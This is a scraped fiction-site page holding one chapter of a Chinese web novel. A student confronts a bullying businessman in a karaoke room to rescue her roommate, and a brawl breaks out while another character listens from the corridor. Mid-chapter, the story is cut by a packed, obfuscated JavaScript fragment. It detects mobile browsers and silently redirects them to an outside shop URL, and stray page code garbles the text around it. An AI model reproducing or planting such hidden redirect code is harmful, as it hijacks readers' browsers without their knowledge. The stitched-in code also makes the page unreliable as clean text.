文趣网 > 都市小说 > 坏雪 > 15.第 15 章
    唐岁雪没走。

    她反手带上门,隔绝了外面走廊的光线,迎着各色目光在王老板面前站定。

    “王老板您好,打扰您了,我是周雪的室友。今晚她喝得差不多了,女孩子一个人在外面头家里人也担心。您看能不能让我先带她回去?她年纪小不懂事性子又急,要是有什么冲撞了您的地方,改天等您方便,我们再郑重向您道歉。”

    王老板原本漫不经心靠在沙发里的身体,在她出声的刹那微微坐直了些。

    他眯起眼,目光像沾了油的刷子,从头到脚仔仔细细地刷过她。尤其在触及那张干净得近乎突兀的脸时,停留了很久。

    “带她走?可以啊。”他下巴朝茶几上一瓶刚开的烈酒扬了扬,摆出更大的架势,“你替她把面前这杯酒敬了,我就当你们小姑娘不懂事。喝完这杯,再让大彬那小子过来,咱们坐下慢慢聊那五十万的事儿。”

    摆在面前的那瓶,是一升装的威士忌。

    唐岁雪没看它,走过去拿起旁边一罐未开封的啤酒,拉开拉环。

    “王老板,我还是个学生,平时也不怎么喝酒。这罐啤酒敬您,是我和周雪的心意,您大人有大量别跟我们计较。”

    说罢她举起啤酒罐凑到唇边,一口气灌了下去。脸颊因为那口急酒泛一层薄红,衬得肤色越发剔透。

    喝完她放下空罐,目光不闪不避地迎上王老板那张泛着油光的脸。

    “您说的那个五十万,东西坏了是该赔。只是我们见识少人也轴,您一句话就定了价我们心里实在没底。您那杯子想必不是凡品,鉴定证书或者保险单一定有。还烦请您给我们这种不懂行的开开眼,让我们赔的明明白白。”

    她这话说得滴水不漏,既承认了该赔,又把皮球轻轻踢了回去。

    赔是应该的,但您得先证明它值这个价。姿态放得低,道理卡得死又递足了台阶,让人想发作都寻不着由头。

    王老板脸上的横肉抖动了一下。

    他哪来的鉴定证书?那杯子不过是个普通的仿古工艺杯,值不了几个钱,讹人全靠一张嘴和势头。偏生被唐岁雪这番绵里藏针的话一堵,心头火起,又因那张脸和那双眼睛,邪火里掺进别的念头。

    “你这姑娘倒是挺会说话。行,你的面子我给。”他说着,那双浑浊的眼睛在她脸上黏了一瞬,带着点不怀好意的打量:“不过光喝一瓶啤酒就想把人带走,是不是也太便宜了?这样,你陪我再喝两杯,把你朋友的事好好聊聊。”

    “王老板,我酒量就这些,再多喝我也喝不。”

    “呵,”他冷一声把酒杯重重搁在茶几上,“这也不行那也不行,你当这儿是跟你谈条件的地方。”

    “不敢谈条件,只是觉得凡事讲个道理。王老板您是有头有脸的人,要被传出去说您为难两个小姑娘,也不太好听。”

    “有头有脸?”王老板嗤笑一声,拖长了调子,“好,说得好。那我现在也不想要钱,要得是一口气。”

    说着,他抬手指向死死瞪着他的周雪。

    “她周雪不是硬气吗?行啊,让她跪下来敬我一杯酒,说一句‘王老板我错了’,今天这事就翻篇。杯子,不用赔。她那个小男朋友我也懒得再找麻烦。”

    “怎么样?”王老板转头看向唐岁雪,脸上堆出一层似笑非笑的褶子,“这够给你面子了吧?”

    周雪一听眼睛都红了,腾地一下站起来:“臭老登放什么狗臭屁!”

    “你看,”王老板摊开手,一副很是无奈的样子,“姑娘,不是我不给你面子,是她不肯接。刚才要是痛痛快快服个软,我至于跟她耗这么久?”

    周雪胸口剧烈起伏,死死瞪着这个老登,突然一抓起一个空酒杯,哐当一声倒满,琥珀色的液体差点溢出来。

    “跪就跪!说话算话!”

    说完膝盖一弯,作势要跪下去。

    周围沙发上那几个原本看热闹的男人顿时来了精神,有人吹起口哨,有人拿出手机对准了周雪,脸上挂着毫不掩饰的的兴奋。

    唐岁雪脸上一凛,抢上一步架住了周雪的手臂没让她跪下去。

    周雪挣了一下没挣开,红着眼睛看她:“大雪你松开!”

    唐岁雪没松手,脸上惯有的温软褪得干干净净。

    她扣着周雪的手臂往回一收,让周雪踉跄了半步整个人挡到了她身后,也把那群举着手机的男人隔开了。

    “王老板,道理我刚才已经讲过了。如果有哪里说得不对,您尽管指出来,但让人下跪这种事,不行。”

    王老板脸上的笑意收了起来,他没想到这个看着柔柔弱弱的小姑娘骨头这么硬,话也说得半点余地不留。

    “你一个小姑娘管得还挺宽,没人告诉过你出来玩得懂规矩?杯子碎了,我还没跟你们算账,倒是钱也不赔面子也不给,我王某人这张脸往哪儿搁?你上下嘴皮子一碰就想把人带走,我的场子谁来圆?”

    “您的场子圆不圆,不在我,在您。“唐岁雪说:“周雪今天要是跪了这杯酒,明天所有人都会知道,您嘴上说着愿赌服输,转头却逼一个女孩子下跪取乐。我进门之前开了共享平台的录音,刚才的对话从头到尾一字不落,您应该不想被放到网上请大家一起评评理吧?”

    包厢里霎时一静。

    王老板脸上的横肉猛地抽搐起来,对上唐岁雪清冷的眸子,一股寒意混着暴怒直冲头顶。

    “你他妈敢阴我?!”他猛地一拍桌子,冲旁边吼道,“还愣着干什么!把这两个贱人按住,东西抢过来!”

    旁边几个男人早就跃跃欲试,闻言立刻扑了上去。

    一个攥住唐岁雪的手腕,粗暴地去掰她攥着手机的手指;另一个则抄起桌上那瓶高度烈酒,瓶口狠狠抵到她紧闭的唇边。

    冰凉的玻璃硌着她的牙齿,辛辣刺鼻的酒气直冲上来。

    “喝!敬酒不吃吃罚酒!”

    “放开她!我艹你妈!”

    周雪目眦欲裂,想冲过来,却被另外两个人死死拉住。

    她疯了一样挣扎,目光四下乱扫,猛地举起刚才一直攥在手里的空啤酒瓶,用尽全身力气,狠狠砸在坚硬的大理石茶几边缘!

    “砰——哗啦!”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508153|202584||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >瓶身炸裂,玻璃碎片四溅!

    *

    包厢里的牌局仍在继续,筹码碰撞的脆响与谈笑声混杂在一起。

    司从岚靠在沙发里,指尖夹着的烟已经燃了大半,烟灰积了长长一截他却像忘了弹,任由那点猩红缓慢地灼烧。

    吕骋回来说的那些话明明与他无关,却又让他有些说不清的烦躁。

    穿浅蓝色衣服,长得纯,跟雪里扒拉出来似的。

    那句不经意的形容反反复复地在他脑子里打转,怎么都挥不出去。

    他想起那天在漱石轩暖阁外,她坐在石阶上啃冷饼。

    瓷白的脸埋在半旧的浅蓝色棉衣领口里,整个人小小软软地缩成一团,干净脆弱又孤清。

    当时他看了多久?记不起来了。

    烫意忽地刺上指尖,他垂下眼把烟蒂按进烟灰缸。那股灼烧感从指腹传上来,刚好压住心头那点荒谬的联想。

    她怎么可能会出现在这里。

    牌桌上有人打出了一张牌,引起一阵哗然和笑骂。

    司从岚却像是没听见。

    他偏过头,目光越过缭绕的烟雾落向扇厚重的包厢门,忽然开口:“吕骋。”

    正跟人聊得眉飞色舞的吕骋话音一顿,转头看他:“怎么了?”

    “太吵。”

    吕骋立刻会意,连忙起身:“哎哟,是我疏忽了。走走走,后头还有个茶室,绝对安静,我陪你过去喝两杯茶醒醒神。”

    一旁早有人将司从岚的大衣递了过来,他接过搭在臂弯里,迈步朝外走。

    吕骋跟在他身后,边走边朝包厢里的人摆了摆手:“你们接着玩,我陪从岚坐会儿。”

    走廊幽深绵长,两侧墙壁上挂着巨幅抽象油画,空气里飘着若有似无的香薰味道。

    吕骋在前面引着路,嘴上叭叭地没停过,从刚才牌桌上的手气聊到下周马场新到的两匹温血马。

    司从岚不紧不慢地跟着,目光不经意地扫过走廊两侧紧闭的包厢门。

    V6,V7……

    V8。

    那扇门的门缝下透出与别处无异的暖黄光晕,与其他包厢别无二致。

    司从岚眉眼疏淡,脚下半分未停,没有向那扇门投去第二眼。

    然而,就在他与那扇门擦肩而过的瞬间——

    “砰!”

    一声沉闷的钝响隔着厚重的门板隐隐传来,混着玻璃器皿碎裂的清脆声响。

    女人的尖叫和男人的怒吼模糊地搅在一起,还没等人分辨清楚,一阵刺耳的报警器蜂鸣声便尖锐地划破了整条走廊的沉寂。

    司从岚的脚步骤然停住。

    他站在幽长的走廊中央,臂弯里搭着深灰色的大衣,身形被走廊暗沉的光线勾勒出冷峻的轮廓。

    旁边的吕骋同样听到了门后的动静,脸色一沉:“妈的,这动静不对……”

    他正要叫人,却见前方的司从岚微微侧过脸,抬手示意他噤声。

    安全出口指示灯幽微的光疏疏落落地漫过来,浸着他清隽的眉眼,阒黑的眸子落在了那扇紧闭的门上。